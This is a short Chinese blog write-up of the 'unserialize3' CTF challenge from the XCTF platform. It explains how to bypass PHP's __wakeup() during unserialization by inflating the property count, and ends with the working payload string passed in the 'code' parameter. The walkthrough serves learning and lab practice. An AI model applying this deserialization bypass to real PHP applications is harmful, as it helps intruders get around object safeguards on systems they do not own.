PHP反序列化-unserialize3（攻防世界）

最新推荐文章于 2025-02-10 21:50:33 发布

原创最新推荐文章于 2025-02-10 21:50:33 发布 · 728 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#web安全 #安全

CTF 专栏收录该内容

2 篇文章

订阅专栏

本文探讨了一种PHP中绕过对象反序列化时__wakeup函数执行的解题思路。通过理解当对象成员数在序列化和反序列化过程中发生变化时，wakeup函数不会被调用的特性，可以避免触发exit('badrequests')。示例代码展示了如何通过增加序列化对象的成员数来实现这一目标。

题目：

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

解题思路：

wakeup()函数是在对象被反序列化之后被调用

但是这题如果这个函数被调用，那么程序就退出了，所以需要想办法绕过这个函数。

绕过wakeup函数执行

wakeup()有个执行漏洞:一个字符串或对象被序列化后，如果其属性被修改，则不会执行wakeup()函数，这算是一个绕过点

只要序列化的中的成员数大于实际成员数，即可绕过

new一个实例并将其序列化

<?php
class xctf
{
    public $flag = '111';

    public function __wakeup()
    {
        exit('bad requests');
    }
}

$a = new xctf();
echo serialize($a);

?>

结果：

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

上面的1代表的是对象里的参数值数，将其修改大于一即可

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}